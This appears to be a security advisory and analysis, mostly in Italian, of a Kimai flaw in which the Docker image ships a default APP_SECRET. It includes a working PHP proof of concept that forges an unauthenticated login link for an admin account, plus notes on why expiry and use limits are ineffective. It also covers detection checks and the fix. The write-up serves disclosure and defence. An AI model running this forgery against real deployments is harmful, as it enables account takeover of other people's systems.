
Technical analysis and PoC of CVE-2026-52824: default APP_SECRET in the Kimai Docker image enabling unauthenticated login link forgery. Affects <= 2.57.0, fixed in 2.58.0.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-52824 |
| Avviso | GHSA-jr9p-4h4j-6c58 |
| Gravità | Critica |
| CWE | CWE-1188, Initialization of a Resource with an Insecure Default |
| Versioni interessate | kimai/kimai <= 2.57.0 |
| Versione corretta | 2.58.0 |
| Avviso pubblicato | 2026-06-11 |
| Aggiunto al GitHub Advisory Database | 2026-07-14 |
| Segnalatore | AzureADTrent |
L'immagine Docker ufficiale di Kimai veniva distribuita con un APP_SECRET hardcodato. Tale valore diventa il kernel.secret di Symfony, che firma i link di accesso, i cookie remember-me, gli URL di reset password e i token CSRF. Poiché la firma del link di accesso di Kimai copriva solo l'id dell'utente, un attaccante non autenticato in possesso del segreto noto poteva calcolare offline un link di accesso valido e autenticarsi come qualsiasi utente.
Dockerfile:263 impostava:
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7 consuma questo valore come kernel.secret:
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh non effettuava alcun controllo sul valore sentinella e .env.dist:38 distribuiva lo stesso valore predefinito per le installazioni bare-metal. Nessun controllo all'avvio impediva l'avvio con il valore predefinito.
Qualsiasi distribuzione Docker che non sovrascriveva esplicitamente APP_SECRET girava quindi con una chiave di firma pubblicamente nota.
Kimai consuma il link di accesso su /en/auth/link/check con i parametri user, expires e hash. L'hash è l'HMAC di 44 caratteri concatenato direttamente con l'hash dei campi di 44 caratteri, in accordo con acceptSignatureHash(), che divide in corrispondenza dell'offset 44.
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
Una richiesta andata a buon fine restituisce un 302 e imposta un cookie KIMAI_REMEMBER per l'account preso di mira.
expires è incluso nell'HMAC ed è controllato dall'attaccante, e la validazione rifiuta soltanto i timestamp già nel passato — verifySignatureHash() verifica $expires < time() e nient'altro. La lifetime: 900 configurata regola esclusivamente la generazione del link e non viene mai consultata durante la validazione, quindi un link forgiato può avere una scadenza arbitrariamente lontana.
max_uses: 3 è altrettanto irrilevante. Limita il riutilizzo di un singolo link emesso; un attaccante ne crea uno nuovo per ogni tentativo.
L'avviso elenca tre precondizioni: il nome utente è noto, l'ID corretto dell'account viene indovinato e l'account non ha una 2FA attiva.
In pratica sono deboli. Gli ID utente sono sequenziali a partire da 1, il primo super_admin è normalmente l'ID 1 e ogni tentativo è una singola GET non autenticata. Lo spazio di nomi utente e ID può essere scandagliato. L'autenticazione a due fattori è l'unica precondizione che blocca realmente l'attacco.
Controlli locali:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
Un APP_SECRET sentinella senza alcun file .appsecret presente indica una distribuzione vulnerabile.
Eseguire l'aggiornamento alla 2.58.0 o successiva. La correzione:
APP_SECRET predefinito dal Dockerfilebin2hex(random_bytes(32)), lo salva in /opt/kimai/var/data/.appsecret e lo scrive in /opt/kimai/.env.localSe non è possibile aggiornare immediatamente, impostare esplicitamente un segreto univoco ad alta entropia:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
La rotazione di APP_SECRET invalida i cookie remember-me esistenti, i link di reset password in sospeso e i token CSRF attivi; gli utenti dovranno accedere di nuovo. La rotazione e l'invalidazione delle sessioni possono essere eseguite in sicurezza indipendentemente dal fatto che l'esposizione sia confermata o meno. Gli operatori che non riescono a determinare il proprio stato dovrebbero ruotare il segreto piuttosto che dare per scontato.
projectdiscovery/nuclei-templatesQuesta analisi è stata trattenuta finché il meccanismo non è diventato pubblicamente noto in modo indipendente.